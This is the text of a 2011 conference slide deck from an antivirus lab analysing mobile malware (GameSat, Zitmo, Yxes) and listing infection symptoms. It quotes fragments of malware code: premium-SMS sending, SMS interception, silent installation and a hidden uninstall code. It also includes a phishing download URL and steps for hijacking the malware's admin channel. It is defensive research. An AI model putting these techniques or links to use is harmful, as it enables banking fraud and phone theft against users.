Mobile Malware .. In Practice
or Once bitten, twice shy... and third stolen
*Chat échaudé craint l’eau froide*

Axelle Apvrille
Fortinet, AV Lab

Insomni’Hack, March 4 2011
Summary

**Would you install this?**
Once bitten
Twice shy...
Third stolen

**Conclusion**
Mobile Malware Status
Infection Symptoms
Solutions
Would you install this? [EASY]

Imagine you want to **date** or **divination** services, would you use this Opera add-on application?
Would you install this? [EASY]

Imagine you want to date or divination services, would you use this Opera add-on application?

Meet Java/GameSat.A!tr
This is a malicious midlet! Do not use!
Risks are difficult to understand for an end-user
Would you install this? [EASY]

Imagine you want to date or divination services, would you use this Opera add-on application?

- Security warning for all unsigned midlets (common!)

Mobile malware in practice - A. Apvrille
Would you install this? [EASY]

Imagine you want to date or divination services, would you use this Opera add-on application?

- Security warning for all unsigned midlets (common!)
- Lengthy security text :(

Meet Java/GameSat.A!tr
This is a malicious midlet! Do not use!
Risks are difficult to understand for an end-user
Mobile malware in practice - A. Apvrille
Imagine you want to **date** or **divination** services, would you use this Opera add-on application?

- Security warning for all unsigned midlets (common!)
- Lengthy security text :(
- Standard Opera splash screen
Would you install this? [EASY]

Imagine you want to **date** or **divination** services, would you use this Opera add-on application?

- Security warning for all unsigned midlets (common!)
- Lengthy security text :
- Standard Opera splash screen

Meet Java/GameSat.A!tr
This is a malicious midlet! Do not use!
Risks are difficult to understand for an end-user

Mobile malware in practice - A. Apvrille 3/18
Would you install this? [EASY]

Imagine you want to **date** or **divination** services, would you use this Opera add-on application?

- Security warning for all unsigned midlets (common!)
- Lengthy security text :(  
- Standard Opera splash screen
Would you install this? [EASY]

Imagine you want to date or divination services, would you use this Opera add-on application?

- Security warning for all unsigned midlets (common!)
- Lengthy security text :( 
- Standard Opera splash screen
- Send SMS to short code, not so surprising for dating/ divination services

Meet Java/GameSat.A! This is a malicious midlet! Do not use!
Risks are difficult to understand for an end-user.
Imagine you want to **date** or **divination** services, would you use this Opera add-on application?

- Security warning for all unsigned midlets (common!)
- Lengthy security text :(
- Standard Opera splash screen
- Send SMS to short code, not so surprising for dating/ divination services

**Meet Java/GameSat.A!tr**

This is a malicious midlet! Do not use!

**Risks are difficult to understand** for an end-user
import javax.wireless.messaging.MessageConnection;
import javax.wireless.messaging.TextMessage;

public final void run() {
    try {
        String str = "sms://" + this.a; // <- PHONE NUMBER
        MessageConnection localMessageConnection =
            (MessageConnection)Connector.open(str);
        try {
            TextMessage localTextMessage;
            (localTextMessage = (TextMessage)
                localMessageConnection.newMessage("text"))
                .setPayloadText(this.b);
            localMessageConnection.send(localTextMessage);
        }
    }
}
Java/GameSat.A!tr: Hidden Goal

TRANSFERPULSA 0856xxxxxxxxx 20000","151","Game Gratis"...
TRANSFERPULSA 0856xxxxxxxxx 20000","151","Mama Lauren"...

Real goal

Sending SMS to a premium number is not the real motivation in that case!
Transfer 20,000 Rp from victim’s account to 0856xxxxxxxxx
Note: only works if victim has an Indosat prepaid card.

Do not under-estimate simple malicious midlets

Numerous malicious midlets: Java/Konov, Java/Picong, Java/GoSms, Java/RedBrowser, Java/IconSuf, Java/Phonox ...
Supported by nearly all mobile platforms (exception: iPhone)
Would you install this? [HARD]

- You logged on your online bank account. URL ok. Asked for phone number and phone model.

![Image from s21sec](s21sec)
Would you install this? [HARD]

- You logged on your online bank account. URL ok. Asked for phone number and phone model.
- Receiving an SMS requesting install of a "security certificate". Provides link to application.

Image from s21sec
Would you install this? [HARD]

- You logged on your online bank account. URL ok. Asked for phone number and phone model.
- Receiving an SMS requesting install of a "security certificate". Provides link to application.
- Valid certificate, appropriate supplier, **signed by Symbian**.
Would you install this? [HARD]

- You logged on your online bank account. URL ok. Asked for phone number and phone model.
- Receiving an SMS requesting install of a "security certificate". Provides link to application.
- Valid certificate, appropriate supplier, **signed by Symbian**.
Would you install this? [HARD]

- You logged on your online bank account. URL ok. Asked for phone number and phone model.
- Receiving an SMS requesting install of a "security certificate". Provides link to application.
- Valid certificate, appropriate supplier, **signed by Symbian**.
- Phone looks fine. No SMS in the outbox.
Would you install this? [HARD]

- You logged on your online bank account. URL ok. Asked for phone number and phone model.
- Receiving an SMS requesting install of a "security certificate". Provides link to application.
- Valid certificate, appropriate supplier, **signed by Symbian**.
- Phone looks fine. No SMS in the outbox.

Meet Zitmo! :-((
Meet Zitmo Trojan

Identity card

- SymbOS/Zitmo.A!tr, aka ZeusMitmo, Zbot
- Discovered Sept 2010, new version Feb 2011
- Symbian, Windows Mobile, BlackBerry
- Propagated by Zeus botnets

Goal

- Some banks send a second password by SMS to secure their login procedure
- Zitmo intercepts the SMS and sends it to malware authors. The SMS is never displayed on the victim’s phone.
- 1st password stolen from computer infected by Zeus
- They can access your bank account during your sleep!
- Handles a few remote commands via SMS (ADD SENDER, SET ADMIN...)
SymbOS/Zitmo: Silently intercepting all incoming SMS

Assembly code taken from Zitmo

; Open socket RSocket::Open(RSocketServ &, uint, uint, uint)
BL _ZN7RSocket4OpenER11RSocketServjjj
STR R0, [R11,#errcode] ; store the return code
LDR R3, [R11,#errcode]
CMP R3, #0 ; if return code != KErrNone
BNE loc_7C90DAF8 ; jump to this location if error
SUB R0, R11, #0x54
BL _ZN8TSmsAddrC1Ev ; TSmsAddr::TSmsAddr(void)
SUB R0, R11, #0x54
MOV R1, #4 ; ESmsAddrMatchText
SUB R0, R11, #0x54
BL _ZN8TSmsAddr16SetSmsAddrFamilyE14TSmsAddrFamily
SUB R0, R11, #0x54
SUB R3, R11, #0x24
MOV R1, R3 ; text to match: _L8(""")
BL _ZN8TSmsAddr12SetTextMatchERK6TDesC8
Own the malware adm1ns :D

- Install Zitmo on lab phone 1
Own the malware admins :D

- Install Zitmo on lab phone 1
- Send SET ADMIN command by SMS with phone number of lab phone 2
Own the malware admins :D

- Install Zitmo on lab phone 1
- Send SET ADMIN command by SMS with phone number of lab phone 2
- Done! Control the malware remotely.

Alternative: craft settings2.dat
Enabled (00), Monitor all numbers (01), do not block calls (00) + lab phone 2 phone number

C:\private\20022B8E\settings2.dat
00 01 00 xx xx xx xx xx
Own the malware admins :D

- Install Zitmo on lab phone 1
- Send SET ADMIN command by SMS with phone number of lab phone 2
- Done! Control the malware remotely.
Own the malware adm1ns :D

- Install Zitmo on lab phone 1
- Send SET ADMIN command by SMS with phone number of lab phone 2
- Done! Control the malware remotely.

Alternative: craft settings2.dat

Enabled (00), Monitor all numbers (01), do not block calls (00) + lab phone 2 phone number

C:\private\20022B8E\settings2.dat

00 01 00 xx xx xx xx xx
Inside the UNINSTALL command of Zitmo.B (1/2)

MOVS      R0, R5
MOV       R1, R10
MOVS       R2, #9 ; get 9 left most chars of SMS body
BLX _ZNK7TDesC164LeftEi ; TDesC16::Left(int)
LDR       R1, =aUninstall ; "UNINSTALL"
MOVS      R0, R4
BLX _ZN7TPtrC16C1EPKt ; make TPtrC16 for UNINSTALL
MOVS      R0, R5
MOVS      R1, R4
BLX _ZNK7TDesC167CompareERKS_ ; compare strings
CMP       R0, #0
BEQ       compareCode

compareCode

LDR       R1, =a45930 ; "45930"
MOVS      R0, R6
BLX _ZN7TPtrC16C1EPKt ; TPtrC16::TPtrC16(ushort const*)
MOVS      R1, R6
MOVS      R0, R5 ; compare rest of SMS with 5-digit code
BLX _ZNK7TDesC167CompareERKS_ ; TDesC16::Compare(TDesC16 const&)
SUBS      R6, R0, #0
BNE       loc_7CA2A0C8
B installUsisx
Inside the UNINSTALL command of Zitmo.B (2/2)

```
MOVS  R1, R3
MOVS  R0, R7
MOV   R2, R10
BLX   SWInstCli_8 ; what is this? see below
CMP   R0, #0
BEQ   createCertifUpdate ; create CertificateUpdate.exe process
```

Find out what is SWInstCli_8 in the SWInstallerLauncher API

```
$ objdump --syms swinstcli\{000a0000\}.lib | grep -A 8 -E "}-8\0"
SWInstCli\{000a0000\}-8.o: file format elf32-little
SYMBOL TABLE:
00000000 l  F StubCode 00000000 $a
00000004 l  0 StubCode 00000000 $d
00000000 l  d  StubCode 00000008 StubCode
00000000 l  d  *ABS* 00000000 .directive
00000004 l  F StubCode 00000000 theImportedSymbol
00000000 g  F StubCode 00000000 _ZN5SwiUI15RSWInstLauncher13SilentInstallERK7TDesC16RK6TDesC8

IMPORT_C TInt SwiUI::RSWInstLauncher::SilentInstall (const TDesC & aFileName, const TDesC8 & aOptions )
```
Would you install this? [HARD]

- Advanced Device Locks is a legitimate application
Would you install this? [HARD]

- Advanced Device Locks is a legitimate application
- Valid certificate, appropriate supplier, signed by Symbian

Meet SymbOS/Yxes.E!worm Trojaned application!
Would you install this? [HARD]

- Advanced Device Locks is a legitimate application
- Valid certificate, appropriate supplier, signed by Symbian
Would you install this? [HARD]

- Advanced Device Locks is a legitimate application
- Valid certificate, appropriate supplier, signed by Symbian
Would you install this? [HARD]

- Advanced Device Locks is a legitimate application
- Valid certificate, appropriate supplier, signed by Symbian
Would you install this? [HARD]

- Advanced Device Locks is a legitimate application
- Valid certificate, appropriate supplier, signed by Symbian

Mobile malware in practice - A. Apvrille
Would you install this? [HARD]

- Advanced Device Locks is a legitimate application
- Valid certificate, appropriate supplier, signed by Symbian
- Looks fine: icon, installation information, menu

Meet SymbOS/Yxes.E!worm Trojaned application!

Mobile malware in practice - A. Apvrille
Would you install this? [HARD]

- Advanced Device Locks is a legitimate application
- Valid certificate, appropriate supplier, signed by Symbian
- Looks fine: icon, installation information, menu
Would you install this? [HARD]

- Advanced Device Locks is a legitimate application
- Valid certificate, appropriate supplier, signed by Symbian
- Looks fine: icon, installation information, menu
- Mild suspicions: subject name and fonts.
Would you install this? [HARD]

- Advanced Device Locks is a legitimate application
- Valid certificate, appropriate supplier, signed by Symbian
- Looks fine: icon, installation information, menu
- Mild suspicions: subject name and fonts.

Meet SymbOS/Yxes.E!worm
Trojaned application!
SymbOS/Yxes: Stealth Behaviour

Automatically downloads another variant and installs it

**Stealth IAP selection**

```assembly
; ECommDbDialogPrefDoNotPrompt
MOV     R1, #3
; TCommDbConnPref::SetDialogPreference(TCommDbDialogPref)
; Arg1 = object, Arg2 = DoNotPrompt
BL      _ZN15TCommDbConnPref19SetDialogPreferenceE17TCommDbDialogPref
PreferenceE17TCommDbDialogPref
```

**Stealth installation**

```assembly
LDR     R0, [R11,#installerobj]
MOV     R1, R3       ; request status
LDR     R2, [R11,#filename] ; e.g c:\data\kel.sisx
MOV     R3, R12      ; install options
; SwiUI::RSWInstSilentLauncher::SilentInstall
BL      SWInstCli_4
```
Hackers focus on technical exploits and geeky platforms but malware authors focus on...
Mobile Malware Status - 2011

Hackers focus on technical exploits and geeky platforms but malware authors focus on...

$$$
\text{M O N E Y}
$$$ Not for \textit{fun}, but for \textbf{money}!

No new annoyware since 2008-2009

approx. 1 malware family in 2 sends \textit{SMS messages} using social engineering or silent send.

25% of malware families access \textit{Internet}

Zitmo first case of \textit{organized crime}
Hackers focus on technical exploits and geeky platforms but malware authors focus on...

$$$$ M O N E Y $$$$

Not for *fun*, but for *money*!
No new annoyware since 2008-2009
approx. 1 malware family in 2 sends *SMS messages* using social engineering or silent send.
25% of malware families access *Internet*
Zitmo first case of *organized crime*

**KISS - Keep It Simple, Stupid**

Very simple code most of the time
No need to use vulnerabilities / exploits.
Use of public or undocumented APIs
Want to read more about it?

<table>
<thead>
<tr>
<th>SMS Trojans - such as Java/GameSat.A!tr</th>
</tr>
</thead>
<tbody>
<tr>
<td>A. Apvrille, J. Zhang, <em>The Four Horsemen</em>, 7th CONFidence 2010 conference, Krakow, Poland, May 24-26, 2010</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Zitmo and Yxes</th>
</tr>
</thead>
<tbody>
<tr>
<td>A. Apvrille, K. Yang, <em>Defeating mTANs for profit</em>, ShmooCon 2011, Washington DC, USA, January 28-30 2011</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Cyber-criminality</th>
</tr>
</thead>
</table>
Suspicious Symptoms

The following symptoms may indicate infection (or may not):

- No app icon
Suspicious Symptoms

The following symptoms may indicate infection (or may not):

- No app icon
- Suspicious SMS link

Descargue su certificado digital por este enlace: http://188.121.121/c/0x738341/cert.sis
Suspicous Symptoms

The following symptoms may indicate infection (or may not):

- No app icon
- Suspicious SMS link
- Security certificate sent as a Symbian package (.sis, .sisx) not .p12 or .pfx
Suspicious Symptoms

The following symptoms may indicate infection (or may not):

- No app icon
- Suspicious SMS link
- Security certificate sent as a Symbian package (.sis, .sisx) not .p12 or .pfx
- Unknown application is listed on the phone
Suspicious Symptoms

The following symptoms may indicate infection (or may not):

- No app icon
- Suspicious SMS link
- Security certificate sent as a Symbian package (.sis, .sisx) not .p12 or .pfx
- Unknown application is listed on the phone
- Phone sends SMS, MMS, connects to Internet, calls unknown or premium phone numbers / Phone bill rockets
Suspicious Symptoms

The following symptoms may indicate infection (or may not):

- No app icon
- Suspicious SMS link
- Security certificate sent as a Symbian package (.sis, .sisx) not .p12 or .pfx
- Unknown application is listed on the phone
- Phone sends SMS, MMS, connects to Internet, calls unknown or premium phone numbers / Phone bill rockets
- After installation, an unknown daemon is running on the phone / Phone battery drains
Securing Mobile Phones

**Tools**

- Phone logs (LogExport),
- Packet sniffer (EzSniffer)...

**Research Papers**


**Anything else?**

Hackers welcome to help!
Thank You!

Contacts

Corporate research blog: [http://blog.fortinet.com](http://blog.fortinet.com)
Axelle Apvrille /mobile malware/: aapvrille@fortinet.com
Alexandre Aumoine /challenge/: aaumoine@fortinet.com

Want hints for the Insomni’Hack challenge?
Bribe Alexandre Aumoine or me ;)
No, just kidding. We don’t accept bribes :=)